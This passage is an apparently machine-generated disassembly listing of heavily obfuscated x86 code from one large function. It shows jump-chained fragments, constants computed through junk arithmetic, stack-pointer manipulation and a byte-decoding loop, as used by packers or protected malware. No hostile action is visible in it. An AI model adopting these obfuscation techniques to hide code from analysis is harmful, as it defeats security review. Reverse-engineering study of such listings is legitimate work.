		jmp	loc_5A0E4E
; ---------------------------------------------------------------------------


loc_59765A:				; CODE XREF: sub_57DD3A+1E8EAj
		mov	[esp+84h+var_84], ebp
		jmp	loc_59B16F
; ---------------------------------------------------------------------------


loc_597662:				; CODE XREF: sub_57DD3A+22398j
		mov	esp, [esp+84h+var_84]
		push	7362h
		mov	[esp+88h+var_88], eax
		mov	eax, esp
		push	1CA1h
		mov	[esp+8Ch+var_8C], edx
		jmp	loc_599E79
; ---------------------------------------------------------------------------


loc_59767C:				; CODE XREF: sub_57DD3A+1E1F2j
		add	cl, dl
		pop	dx
		sub	dl, cl
		pop	ecx
		xor	dl, 78h
		add	al, 15h
		jmp	loc_5A25F5
; ---------------------------------------------------------------------------


loc_59768D:				; CODE XREF: sub_57DD3A+11E12j
		sub	bl, 44h
		add	al, bl
		pop	ebx
		jmp	loc_59742C
; ---------------------------------------------------------------------------


loc_597698:				; CODE XREF: sub_57DD3A+1D4DEj
		sub	eax, 3E87F819h
		sub	ecx, eax
		pop	eax
		shr	ecx, 4
		not	ecx
		sub	ecx, 0AB216E2Bh
		add	eax, ecx
		pop	ecx
		push	ebp
		mov	ebp, 0B9A0B20h
		inc	ebp
		not	ebp
		jmp	loc_593BAB
; ---------------------------------------------------------------------------


loc_5976BC:				; CODE XREF: sub_57DD3A+23456j
		shr	ecx, 0Bh
		push	0CF5h
		mov	[esp+14h+var_16+2], ebx
		add	[esp+14h+var_16+2], 7ACD6B0Ch
		mov	eax, [esp+14h+var_16+2]
		push	ebp
		mov	ebp, esp
		jmp	loc_5A2CEF
; ---------------------------------------------------------------------------


loc_5976D9:				; CODE XREF: sub_57DD3A+2341Ej
		mov	ecx, [esp+18h+var_1A+2]
		add	esp, 4
		or	eax, eax
		jnz	loc_597D1E
		push	54C2h
		mov	[esp+18h+var_1A+2], edi
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], ebx
		mov	ebx, 71F62676h
		jmp	loc_59CB75
; ---------------------------------------------------------------------------


loc_597705:				; CODE XREF: sub_57DD3A+1EF8Bj
		pop	edi
		jmp	loc_595C63
; ---------------------------------------------------------------------------


loc_59770B:				; CODE XREF: sub_57DD3A+169BCj
		mov	esi, 7A7319B3h
		mov	ebx, 9C11E9A3h
		add	ebx, esi
		pop	esi
		xor	ebx, eax
		push	[esp+5Ch+var_5C]
		jmp	loc_594923
; ---------------------------------------------------------------------------


loc_597722:				; CODE XREF: sub_57DD3A+20EADj
		xor	dh, 71h
		add	al, 85h
		add	al, dh
		sub	al, 85h
		mov	edx, [esp+60h+var_60]
		add	esp, 4
		push	edx
		mov	dl, 7Fh
		jmp	loc_597EDC
; ---------------------------------------------------------------------------


loc_59773C:				; CODE XREF: sub_57DD3A+19850j
		sub	ecx, 68991788h
		add	ecx, ebx
		jmp	loc_59DECF
; ---------------------------------------------------------------------------


loc_597749:				; CODE XREF: sub_57DD3A+11B9Bj
		sub	ebp, 0A141E897h
		mov	eax, ebp
		jmp	loc_5938B3
; ---------------------------------------------------------------------------


loc_597756:				; CODE XREF: sub_57DD3A+1F26Fj
		push	edx
		not	byte ptr [esp+7Ch+var_7C+1]
		pop	edx
		add	dh, 0Ch
		sub	bl, 39h
		sub	bl, dh
		add	bl, 39h
		jmp	loc_59A990
; ---------------------------------------------------------------------------


loc_59776C:				; CODE XREF: sub_57DD3A+1373Aj
		pop	ebx
		add	[esp+32h+var_2A], edx
		jmp	loc_59630A
; ---------------------------------------------------------------------------


loc_597776:				; CODE XREF: sub_57DD3A+200E3j
		mov	ax, word ptr [esp+32h+var_32]
		push	6279h
		mov	[esp+36h+var_36], edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp+3Ah+var_3A], edi
		push	ebx
		push	6E9301A9h
		pop	ebx
		push	ebx
		jmp	loc_5945D9
; ---------------------------------------------------------------------------


loc_5977A0:				; CODE XREF: sub_57DD3A+19B3Dj
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5977A5:				; CODE XREF: sub_57DD3A+23A04j
		sub	ecx, edx
		jmp	loc_593BB6
; ---------------------------------------------------------------------------


loc_5977AC:				; CODE XREF: sub_57DD3A+2202Bj
		pop	esi
		xchg	edi, [esp+3Eh+var_3E]
		jmp	loc_59F0AA
; ---------------------------------------------------------------------------


loc_5977B5:				; CODE XREF: sub_57DD3A+148FBj
		pop	esp
		mov	[esp+14h+var_16+2], edx
		jmp	loc_59A3DF
; ---------------------------------------------------------------------------


loc_5977BE:				; CODE XREF: sub_57DD3A+20265j
		mov	[esp+14h+var_16+2], ebx
		mov	ebx, 4
		add	ecx, ebx
		push	[esp+14h+var_16+2]
		mov	ebx, [esp+18h+var_1A+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+1Ch+var_1E+2]
		jmp	loc_59A5D5
; ---------------------------------------------------------------------------


loc_5977E5:				; CODE XREF: sub_57DD3A+159F7j
		add	ecx, 4
		jmp	loc_59B46A
; ---------------------------------------------------------------------------


loc_5977ED:				; CODE XREF: sub_57DD3A+1AA4Aj
		sub	eax, 3A442AEAh
		push	esi
		jmp	loc_58F46B
; ---------------------------------------------------------------------------


loc_5977F8:				; CODE XREF: sub_57DD3A+24973j
		mov	esi, [esp+62h+var_64+2]
		add	esp, 4
		jmp	loc_5A22CB
; ---------------------------------------------------------------------------


loc_597803:				; CODE XREF: sub_57DD3A+13677j
		push	ebx
		push	7C752034h
		pop	ebx
		xor	ebx, 75FB5B57h
		xor	ebx, 1A9B6C56h
		and	ebx, 5D6159Ah
		xor	ebx, 1141514h
		mov	ecx, ebx
		pop	ebx
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp+12h+var_12]
		jmp	loc_596119
; ---------------------------------------------------------------------------


loc_597830:				; CODE XREF: sub_57DD3A+1D229j
		add	esp, 4
		jmp	loc_59FFAE
; ---------------------------------------------------------------------------


loc_59783B:				; CODE XREF: sub_57DD3A+111F6j
		pop	esp
		push	edi
		mov	edi, 380C1316h
		sub	edi, 1
		push	edx
		mov	edx, 48495FCCh
		and	edx, 65652743h
		sub	edx, 0C4DCCEBFh
		and	edi, edx
		pop	edx
		add	edi, 21FA35C9h
		add	ebx, edi
		push	[esp+3Ah+var_3A]
		push	[esp+3Eh+var_3E]
		pop	edi
		add	esp, 4
		add	esp, 4
		push	dword ptr [eax]
		jmp	loc_5977A0
; ---------------------------------------------------------------------------


loc_59787C:				; CODE XREF: sub_57DD3A+2073Cj
		push	edx
		push	eax
		mov	eax, 74F8193Ch
		mov	edx, eax
		pop	eax
		jmp	loc_59EEAF
; ---------------------------------------------------------------------------


loc_59788B:				; CODE XREF: sub_57DD3A+12A86j
		xor	ebx, [esp+1Ch+var_1E+2]
		jmp	loc_591424
; ---------------------------------------------------------------------------


loc_597893:				; CODE XREF: sub_57DD3A+15553j
		shr	ecx, 2
		jmp	loc_5979CA
; ---------------------------------------------------------------------------


loc_59789B:				; CODE XREF: sub_57DD3A+166CCj
		add	edi, 2BD24771h
		xor	eax, edi
		pop	edi
		add	eax, 0CEF3A4F8h
		jmp	loc_59AB60
; ---------------------------------------------------------------------------


loc_5978AE:				; CODE XREF: sub_57DD3A+1237Dj
		neg	ebp
		dec	ebp
		not	ebp
		jmp	loc_59ADE5
; ---------------------------------------------------------------------------


loc_5978B8:				; CODE XREF: sub_57DD3A+13070j
		add	esp, 4
		xor	edx, 0AB13C2CFh
		mov	ebp, edx
		pop	edx
		add	ecx, 2BCB107Ch
		add	ecx, ebp
		sub	ecx, 2BCB107Ch
		jmp	loc_5A1B00
; ---------------------------------------------------------------------------


loc_5978DA:				; CODE XREF: sub_57DD3A+1670Ej
		not	edi
		jmp	loc_59B107
; ---------------------------------------------------------------------------


loc_5978E1:				; CODE XREF: sub_57DD3A+13EB3j
		mov	eax, esp
		add	eax, 4
		push	edx
		jmp	loc_59FB75
; ---------------------------------------------------------------------------


loc_5978EE:				; CODE XREF: sub_57DD3A+140A2j
		pop	ecx
		sub	esp, 4
		mov	[esp+1Ah+var_1A], ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp+1Ah+var_1A]
		pop	esp
		add	ecx, 4
		add	ecx, 4
		sub	esp, 4
		mov	[esp+1Ah+var_1A], ecx
		push	[esp+1Ah+var_16]
		mov	ecx, [esp+1Eh+var_1E]
		add	esp, 4
		pop	[esp+1Ah+var_1A]
		pop	esp
		jmp	loc_596772
; ---------------------------------------------------------------------------


loc_597932:				; CODE XREF: sub_57DD3A+1568Bj
		pop	esi
		and	eax, edi
		pop	edi
		shr	eax, 10h
		xor	eax, ecx
		push	edx
		jmp	loc_59A953
; ---------------------------------------------------------------------------


loc_597941:				; CODE XREF: sub_57DD3A+1F9AAj
		mov	edx, 4
		add	edi, edx
		pop	edx
		add	edi, 4
		xchg	edi, [esp+7Ch+var_7C]
		pop	esp
		mov	dl, cl
		pop	ecx
		not	dl
		xor	dl, cl
		xor	cl, dl
		xor	dl, cl
		dec	cl
		xor	dl, cl
		xor	cl, dl
		jmp	loc_599702
; ---------------------------------------------------------------------------


loc_597969:				; CODE XREF: sub_57DD3A+1348Bj
		sub	eax, ebp
		pop	ebp
		jmp	loc_59D15C
; ---------------------------------------------------------------------------


loc_597971:				; CODE XREF: sub_57DD3A+141EBj
		xchg	ebx, [esp+68h+var_68]
		jmp	loc_5A3296
; ---------------------------------------------------------------------------


loc_597979:				; CODE XREF: sub_57DD3A+20448j
		pop	esi
		sub	esp, 4
		mov	[esp+68h+var_68], ebx
		push	eax
		mov	eax, 4
		mov	ebx, eax
		jmp	loc_5A1195
; ---------------------------------------------------------------------------


loc_59798D:				; CODE XREF: sub_57DD3A+1CE7Aj
		push	1D90h
		mov	[esp+70h+var_70], edx
		mov	edx, 6BCB06CCh
		not	edx
		sub	edx, 53F8B61Ch
		mov	ebp, edx
		pop	edx
		jmp	loc_5A1FF2
; ---------------------------------------------------------------------------


loc_5979AA:				; CODE XREF: sub_57DD3A+23734j
		mov	esp, [esp+6Ch+var_6C]
		jmp	loc_597E80
; ---------------------------------------------------------------------------


loc_5979B2:				; CODE XREF: sub_57DD3A+177E0j
		shr	ecx, 7
		push	5653h
		mov	[esp+4Ch+var_4C], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_5A29E7
; ---------------------------------------------------------------------------


loc_5979CA:				; CODE XREF: sub_57DD3A+19B5Cj
		push	ebx
		jmp	loc_5908E3
; ---------------------------------------------------------------------------


loc_5979D0:				; CODE XREF: sub_57DD3A+1EBE8j
		sub	esp, 4
		mov	[esp-4+arg_0], eax
		push	1
		pop	eax
		push	27F9h
		mov	[esp+0], edx
		jmp	loc_599870
; ---------------------------------------------------------------------------


loc_5979EC:				; CODE XREF: sub_57DD3A+1F8A1j
		sub	ecx, 4
		xchg	ecx, [esp+0]
		jmp	loc_59B9B9
; ---------------------------------------------------------------------------


loc_5979FA:				; CODE XREF: sub_57DD3A+23F40j
		sub	eax, ebx
		jmp	loc_593D93
; ---------------------------------------------------------------------------


loc_597A01:				; CODE XREF: sub_57DD3A+1F2DEj
		sub	edx, 1FA32A3Ch
		xor	edx, 63C135E0h
		or	edx, 54D363E5h
		sub	edx, 182DF9B3h
		xor	ebx, edx
		mov	edx, [esp+0]
		add	esp, 4
		jmp	loc_59F49E
; ---------------------------------------------------------------------------


loc_597A29:				; CODE XREF: sub_57DD3A+11599j
		mov	eax, 5E4C4EA9h
		sub	eax, 5DD92E1Bh
		sub	eax, 542865B8h
		add	eax, 53B5452Eh
		add	ebp, eax
		jmp	loc_590583
; ---------------------------------------------------------------------------


loc_597A44:				; CODE XREF: sub_57DD3A+24E67j
		add	ebp, ecx
		pop	ecx
		jmp	loc_59F753
; ---------------------------------------------------------------------------


loc_597A4C:				; CODE XREF: sub_57DD3A+1FB4Bj
		add	edx, 4
		xchg	edx, [esp+36h+var_36]
		pop	esp
		push	esi
		mov	esi, 2
		add	ebx, esi
		pop	esi
		push	ebx
		push	[esp+36h+var_32]
		pop	ebx
		pop	[esp+36h+var_36]
		jmp	loc_5907DD
; ---------------------------------------------------------------------------


loc_597A6A:				; CODE XREF: sub_57DD3A+18140j
		mov	esi, [esp+14h+var_16+2]
		jmp	loc_58F5D5
; ---------------------------------------------------------------------------


loc_597A72:				; CODE XREF: sub_57DD3A+25257j
		push	[esp+14h+var_16+2]
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+18h+var_1A+2]
		jmp	loc_59271E
; ---------------------------------------------------------------------------


loc_597A8A:				; CODE XREF: sub_57DD3A+11041j
		sub	ebx, 3F881A13h
		jmp	loc_59D4F1
; ---------------------------------------------------------------------------


loc_597A95:				; CODE XREF: sub_57DD3A+23302j
		pop	esp
		mov	[esp+22h+var_22], eax
		xor	[esp+22h+var_22], ebp
		xor	ebp, [esp+22h+var_22]
		xor	[esp+22h+var_22], ebp
		push	2E8Ah
		mov	[esp+26h+var_26], ebp
		xchg	edx, [esp+26h+var_26]
		not	edx
		jmp	loc_5901B5
; ---------------------------------------------------------------------------


loc_597AB4:				; CODE XREF: sub_57DD3A+14DA0j
		mov	[esp+6+var_8+2], ebp
		mov	ebp, 18415ABEh
		shl	ebp, 7
		inc	ebp
		shl	ebp, 6
		push	edx
		mov	edx, 31C92DFCh
		push	eax
		mov	eax, 6FE67536h
		dec	eax
		jmp	loc_598E4A
; ---------------------------------------------------------------------------


loc_597AD5:				; CODE XREF: sub_57DD3A+1C127j
		pop	esi
		jmp	loc_59C94B
; ---------------------------------------------------------------------------


loc_597ADB:				; CODE XREF: sub_57DD3A+1EE7Bj
		add	ebp, 57D73E85h
		or	edx, ebp
		pop	ebp
		jmp	loc_594B59
; ---------------------------------------------------------------------------


loc_597AE9:				; CODE XREF: sub_57DD3A+22827j
		neg	cl
		add	cl, 8Fh
		jmp	loc_598C4B
; ---------------------------------------------------------------------------


loc_597AF3:				; CODE XREF: sub_57DD3A+10D69j
		mov	edx, 729A1D3Eh
		add	[esp+1Ch+var_1A+2], edx
		pop	edx
		push	ebx
		mov	ebx, 4C10D49h
		sub	[esp+1Ch+var_1A+2], ebx
		mov	ebx, [esp+1Ch+var_1E+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+20h+var_22+2]
		mov	esp, [esp+20h+var_22+2]
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_597B24:				; CODE XREF: sub_57DD3A+13FA6j
		pop	esp
		pop	bx
		add	bl, 0DAh
		push	small 1AFBh
		mov	word ptr [esp+22h+var_22], dx
		push	ecx
		push	edx
		mov	dh, 39h
		add	dh, 68h
		push	ebx
		mov	bh, dh
		mov	ch, bh
		mov	ebx, [esp+2Eh+var_2E]
		add	esp, 4
		pop	edx
		push	eax
		jmp	loc_596291
; ---------------------------------------------------------------------------


loc_597B4E:				; CODE XREF: sub_57DD3A+113ADj
		add	esp, 4
		pop	[esp+38h+var_3A+2]
		mov	esp, [esp+34h+var_36+2]
		mov	word ptr [esp+34h+var_36+2], dx
		jmp	loc_59A89D
; ---------------------------------------------------------------------------


loc_597B63:				; CODE XREF: sub_57DD3A+131ACj
		xor	[esp+58h+var_58], ecx
		xor	ecx, [esp+58h+var_58]
		jmp	loc_59FC84
; ---------------------------------------------------------------------------
off_597B6E	dd offset dword_562194+2D4h ; DATA XREF: sub_57DD3A+1033Ao
		dw 0E900h
		dd 0FFFF8F93h
; ---------------------------------------------------------------------------


loc_597B78:				; CODE XREF: sub_57DD3A+23427j
		mov	eax, 1FFC4D0Bh
		mov	ecx, 6A1637BFh
		xor	ecx, eax
		push	[esp+58h+var_58]
		pop	eax
		jmp	loc_59AE88
; ---------------------------------------------------------------------------


loc_597B8D:				; CODE XREF: sub_57DD3A+1BC6Bj
		sub	bh, 88h
		add	cl, bh
		jmp	loc_5905B5
; ---------------------------------------------------------------------------


loc_597B97:				; CODE XREF: sub_57DD3A+1EE01j
		not	ebx
		inc	ebx
		inc	ebx
		add	ebx, 2FE90749h
		add	ebx, 0DD41603Fh
		sub	ebx, 20CE2FBEh
		sub	ebx, ecx
		add	ebx, 20CE2FBEh
		xchg	ebx, ecx
		pop	ebx
		xor	ecx, 0E898BE60h
		jmp	loc_59EBC3
; ---------------------------------------------------------------------------


loc_597BC3:				; CODE XREF: sub_57DD3A+23BA6j
		inc	esi
		not	esi
		sub	esi, 6EC045D8h
		jmp	loc_59B625
; ---------------------------------------------------------------------------


loc_597BD1:				; CODE XREF: sub_57DD3A+24D5Dj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59E4E2
; ---------------------------------------------------------------------------


loc_597BDE:				; CODE XREF: sub_57DD3A+24878j
		add	esp, 4
		push	edi
		mov	edi, 0FE35B98h
		push	edx
		mov	edx, 6D1C3D75h
		sub	esp, 4
		mov	[esp+5Ch+var_5C], ebx
		mov	ebx, 7777720Dh
		not	ebx
		sub	ebx, 4BB37CAEh
		sub	edx, ebx
		pop	ebx
		jmp	loc_5A0B23
; ---------------------------------------------------------------------------


loc_597C0B:				; CODE XREF: sub_57DD3A+16DC6j
		push	esp
		pop	eax
		push	ebp
		jmp	loc_59BDE1
; ---------------------------------------------------------------------------


loc_597C13:				; CODE XREF: sub_57DD3A+18AF2j
		pop	ebx
		jmp	loc_59AEC0
; ---------------------------------------------------------------------------


loc_597C19:				; CODE XREF: sub_57DD3A+1AB06j
		pop	ebx
		jmp	loc_5A0F4F
; ---------------------------------------------------------------------------


loc_597C1F:				; CODE XREF: sub_57DD3A+151FDj
		pop	edx
		jmp	loc_599ACD
; ---------------------------------------------------------------------------


loc_597C25:				; CODE XREF: sub_57DD3A+1DE16j
		sub	esp, 4
		mov	[esp+56h+var_58+2], edx
		mov	edx, 34B956C3h
		xor	edx, 78211E2Eh
		inc	edx
		sub	edx, 22684842h
		xor	edx, 57A4064Eh
		add	edx, 23554C1h
		not	edx
		inc	edx
		jmp	loc_5958E5
; ---------------------------------------------------------------------------


loc_597C51:				; CODE XREF: sub_57DD3A+22E43j
		sub	ebx, 4
		xchg	ebx, [esp+56h+var_58+2]
		pop	esp
		mov	[esp+52h+var_54+2], edi
		push	522h
		mov	[esp+56h+var_58+2], ebx
		mov	ebx, 7833391Dh
		mov	edi, 87CCC6E7h
		add	edi, ebx
		push	[esp+56h+var_58+2]
		mov	ebx, [esp+5Ah+var_5C+2]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		jmp	loc_59AD6B
; ---------------------------------------------------------------------------


loc_597C8D:				; CODE XREF: sub_57DD3A+24448j
		add	esp, 4
		jmp	loc_58F04D
; ---------------------------------------------------------------------------


loc_597C98:				; CODE XREF: sub_57DD3A+19803j
		mov	ebx, 31C3A2Bh
		sub	ebx, 734092Ah
		neg	ebx
		jmp	loc_58E359
; ---------------------------------------------------------------------------


loc_597CAA:				; CODE XREF: sub_57DD3A+21A3Cj
		xor	ebx, [esp+80h+var_80]
		pop	esp
		push	[esp+7Ch+var_7C]
		pop	ecx
		sub	esp, 4
		mov	[esp+80h+var_80], eax
		push	esp
		mov	eax, [esp+84h+var_84]
		add	esp, 4
		push	15ACh
		mov	[esp+84h+var_84], ecx
		jmp	loc_58F155
; ---------------------------------------------------------------------------


loc_597CCF:				; CODE XREF: sub_57DD3A+12B1Cj
		mov	ecx, 2CA14C54h
		mov	ebp, 58A455A0h
		xor	ebp, ecx
		pop	ecx
		sub	ebp, ebx
		jmp	loc_59FBC3
; ---------------------------------------------------------------------------


loc_597CE3:				; DATA XREF: sub_57DD3A+10376o
		lodsb
		sub	al, 1Fh
		add	al, 0A6h
		add	al, bl
		sub	al, 0A6h
		push	ebx
		mov	bh, 1Ah
		shr	bh, 5
		dec	bh
		not	bh
		push	eax
		push	edx
		mov	dl, 0B5h
		mov	ah, dl
		jmp	loc_5A2BB9
; ---------------------------------------------------------------------------


loc_597D01:				; CODE XREF: sub_57DD3A+1A82Aj
		xor	edi, 6B205801h
		push	53ADh
		mov	[esp+5Ah+var_5C+2], edi
		mov	edx, [esp+5Ah+var_5C+2]
		add	esp, 4
		mov	edi, [esp+56h+var_58+2]
		add	esp, 4


loc_597D1E:				; CODE XREF: sub_57DD3A+199AAj
					; sub_57DD3A+1B485j
		push	esi
		push	ebx
		jmp	loc_599000
; ---------------------------------------------------------------------------


loc_597D25:				; CODE XREF: sub_57DD3A+22EF8j
		pop	esp
		rol	word ptr [esp+56h+var_58+2], cl
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_597D30:				; CODE XREF: sub_57DD3A+16DDAj
		add	ebp, ebx
		pop	ebx
		sub	ebx, ebp
		pop	ebp
		add	ebx, 1FA3486Bh
		add	ebx, edi
		jmp	loc_59EC89
; ---------------------------------------------------------------------------


loc_597D43:				; CODE XREF: sub_57DD3A+16A5Ej
		mov	[esp+58h+var_58], ebx
		push	0
		jmp	loc_59EC07
; ---------------------------------------------------------------------------


loc_597D50:				; CODE XREF: sub_57DD3A+167E4j
		mov	edi, 4
		jmp	loc_590DC7
; ---------------------------------------------------------------------------


loc_597D5A:				; CODE XREF: sub_57DD3A+1F970j
		mov	[esp], ecx
		mov	ecx, 59A251Fh
		jmp	loc_595B91
; ---------------------------------------------------------------------------


loc_597D67:				; CODE XREF: sub_57DD3A+1D3B8j
		mov	[esp+0], ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp+44h+var_46+2]
		pop	esp
		xor	al, dl
		jmp	loc_590415
; ---------------------------------------------------------------------------


loc_597D7D:				; CODE XREF: sub_57DD3A+15D24j
		pop	edx
		xor	esi, 82914EFh
		push	edi
		mov	edi, 2D975BDEh
		jmp	loc_59F33B
; ---------------------------------------------------------------------------


loc_597D8F:				; CODE XREF: sub_57DD3A+22ACDj
		push	ecx
		mov	ch, al
		mov	bl, ch
		pop	ecx
		mov	eax, [esp+20h+var_22+2]
		jmp	loc_596D8E
; ---------------------------------------------------------------------------


loc_597D9D:				; CODE XREF: sub_57DD3A+1CD7Ej
		push	eax
		push	25086126h
		pop	eax
		sub	esp, 4
		mov	[esp+28h+var_2A+2], ecx
		mov	ecx, 764D6325h
		xor	eax, ecx
		pop	ecx
		xor	eax, 4C012903h
		add	edx, 21C96513h
		push	edi
		mov	edi, 27C273DEh
		sub	edx, edi
		pop	edi
		sub	edx, eax
		add	edx, 27C273DEh
		sub	edx, 21C96513h
		pop	eax
		push	eax
		mov	eax, 1F395F43h
		jmp	loc_597542
; ---------------------------------------------------------------------------


loc_597DE3:				; CODE XREF: sub_57DD3A+24536j
		mov	ecx, [esp+24h+var_26+2]
		add	esp, 4
		jmp	loc_5A0A4D
; ---------------------------------------------------------------------------


loc_597DEE:				; CODE XREF: sub_57DD3A+202ACj
		mov	[esp+20h+var_22+2], ecx
		sub	esp, 4
		mov	[esp+24h+var_26+2], esp
		add	[esp+24h+var_26+2], 4
		push	[esp+24h+var_26+2]
		pop	ecx
		push	6544h
		mov	[esp+28h+var_2A+2], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_598F22
; ---------------------------------------------------------------------------


loc_597E1D:				; CODE XREF: sub_57DD3A+1F838j
		sub	edx, 4
		xchg	edx, [esp+28h+var_2A+2]
		jmp	loc_59935F
; ---------------------------------------------------------------------------


loc_597E2B:				; CODE XREF: sub_57DD3A+1B901j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		sub	ecx, ebp
		mov	ebp, [esp+30h+var_32+2]
		add	esp, 4
		xchg	ecx, [esp+2Ch+var_2E+2]
		pop	esp
		mov	[esp+28h+var_2A+2], ebp
		mov	ebp, 6FFB08ADh
		push	5CB8h
		mov	[esp+2Ch+var_2E+2], ebx
		push	ebp
		push	41C925E3h
		pop	ebp
		jmp	loc_5992BB
; ---------------------------------------------------------------------------


loc_597E62:				; CODE XREF: sub_57DD3A+221EEj
		pop	ecx
		push	bx
		mov	bh, dh
		jmp	loc_59C699
; ---------------------------------------------------------------------------


loc_597E6C:				; CODE XREF: sub_57DD3A+197C1j
		add	edx, 4
		xchg	edx, [esp+84h+var_84]
		jmp	loc_591E92
; ---------------------------------------------------------------------------


loc_597E7A:				; CODE XREF: sub_57DD3A+1470Aj
		push	esi
		jmp	loc_599618
; ---------------------------------------------------------------------------


loc_597E80:				; CODE XREF: sub_57DD3A+19C73j
		push	76C2h
		mov	[esp+70h+var_70], ecx
		sub	esp, 4
		jmp	loc_5923D8
; ---------------------------------------------------------------------------


loc_597E93:				; CODE XREF: sub_57DD3A+10BCDj
		add	esi, 4
		xchg	esi, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		add	eax, 4
		push	0E38h
		mov	[esp+0], eax
		push	[esp+0Ah+var_8+2]
		pop	eax
		pop	dword ptr [esp+0]
		mov	esp, [esp+6+var_8+2]
		mul	ecx
		push	4FBDh
		mov	[esp+0], edx
		push	eax
		pushf
		jmp	loc_5A2B84
; ---------------------------------------------------------------------------


loc_597EC6:				; CODE XREF: sub_57DD3A+21E8Aj
		push	740Bh
		jmp	loc_5902CC
; ---------------------------------------------------------------------------


loc_597ED0:				; CODE XREF: sub_57DD3A+1D3D5j
		and	ebx, edi
		pop	edi
		shr	ebx, 4
		inc	ebx
		jmp	loc_591AEB
; ---------------------------------------------------------------------------


loc_597EDC:				; CODE XREF: sub_57DD3A+199FDj
		sub	al, dl
		pop	edx
		push	ebx
		jmp	loc_596383
; ---------------------------------------------------------------------------


loc_597EE5:				; CODE XREF: sub_57DD3A+227D7j
		push	7C85h
		mov	[esp+64h+var_64], ebp
		mov	ebp, 4
		add	ecx, ebp
		mov	ebp, [esp+64h+var_64]
		add	esp, 4
		add	ecx, 4
		xor	ecx, [esp+60h+var_60]
		xor	[esp+60h+var_60], ecx
		xor	ecx, [esp+60h+var_60]
		jmp	loc_599BAC
; ---------------------------------------------------------------------------


loc_597F0E:				; CODE XREF: sub_57DD3A+1F5EFj
		or	eax, eax
		jz	loc_58FEA2
		push	dword ptr [edi+1Ch]
		jmp	loc_59C156
; ---------------------------------------------------------------------------


loc_597F1E:				; CODE XREF: sub_57DD3A+15342j
		sub	bl, ch
		pop	ecx
		add	bl, al
		push	small 4CD0h
		mov	word ptr [esp+38h+var_3A+2], dx
		push	26D4h
		jmp	loc_5987C9
; ---------------------------------------------------------------------------


loc_597F35:				; CODE XREF: sub_57DD3A+21829j
		add	ch, 0C2h
		sub	ch, 19h
		jmp	loc_59F248
; ---------------------------------------------------------------------------


loc_597F40:				; CODE XREF: sub_57DD3A+14426j
		mov	eax, 1
		jmp	loc_598617
; ---------------------------------------------------------------------------


loc_597F4A:				; CODE XREF: sub_57DD3A+14D8Dj
		push	[esp+6+var_8+2]
		jmp	loc_5A1E71
; ---------------------------------------------------------------------------


loc_597F52:				; CODE XREF: sub_57DD3A+1BE0Bj
		pop	esp
		mov	[esp+6+var_8+2], ebp
		push	ecx
		jmp	loc_5935EB
; ---------------------------------------------------------------------------


loc_597F5C:				; CODE XREF: sub_57DD3A+1F794j
		mov	[esp+0], ebp
		mov	ebp, 6CF2572Eh
		mov	ebx, ebp
		pop	ebp
		jmp	loc_59EBFD
; ---------------------------------------------------------------------------


loc_597F6C:				; CODE XREF: sub_57DD3A+1ABABj
		shr	edi, 2
		jmp	loc_5A2671
; ---------------------------------------------------------------------------


loc_597F74:				; CODE XREF: sub_57DD3A+12BD7j
		mov	eax, 12450830h
		dec	eax
		jmp	loc_59CBBA
; ---------------------------------------------------------------------------


loc_597F7F:				; CODE XREF: sub_57DD3A+2205Ej
		push	[esp+12h+var_E]
		jmp	loc_59C9FB
; ---------------------------------------------------------------------------


loc_597F88:				; CODE XREF: sub_57DD3A+12DFDj
		sub	esi, 14AD6510h
		mov	edx, [esp+64h+var_64]
		add	esp, 4
		push	edi
		mov	edi, 5486330Eh
		add	eax, edi
		pop	edi
		add	eax, esi
		push	5706h
		jmp	loc_5996F5
; ---------------------------------------------------------------------------


loc_597FA9:				; CODE XREF: sub_57DD3A+20209j
		pop	esp
		jmp	loc_59D977
; ---------------------------------------------------------------------------


loc_597FAF:				; CODE XREF: sub_57DD3A+11B79j
		push	1897h
		mov	[esp+78h+var_78], eax
		sub	esp, 4
		push	esp
		pop	[esp+80h+var_80]
		jmp	loc_59516D
; ---------------------------------------------------------------------------


loc_597FC6:				; CODE XREF: sub_57DD3A+141F8j
		pop	ebx
		jmp	loc_598B43
; ---------------------------------------------------------------------------


loc_597FCC:				; CODE XREF: sub_57DD3A+1A41Bj
		push	esi
		mov	esi, 4
		jmp	loc_59D417
; ---------------------------------------------------------------------------


loc_597FD7:				; CODE XREF: sub_57DD3A+1BBACj
		mov	edx, [esp+6Ch+var_6C]
		jmp	loc_59F081
; ---------------------------------------------------------------------------


loc_597FDF:				; CODE XREF: sub_57DD3A+22BFEj
		push	eax
		mov	eax, 2
		add	esi, eax
		pop	eax
		jmp	loc_59E192
; ---------------------------------------------------------------------------


loc_597FED:				; CODE XREF: sub_57DD3A+24FDEj
		xchg	edi, [esp+6Ch+var_6C]
		pop	esp
		mov	[esp+68h+var_68], edi
		push	edx
		mov	edx, 3BD11456h
		sub	esp, 4
		mov	[esp+70h+var_70], edx
		jmp	loc_59AACF
; ---------------------------------------------------------------------------


loc_598005:				; CODE XREF: sub_57DD3A+15D62j
		push	edx
		sub	[esp+20h+var_22+2], 94512D4h
		jmp	loc_593A57
; ---------------------------------------------------------------------------


loc_598012:				; CODE XREF: sub_57DD3A+22700j
		sub	al, cl
		mov	ecx, [esp+20h+var_22+2]
		push	edi
		jmp	loc_5A007F
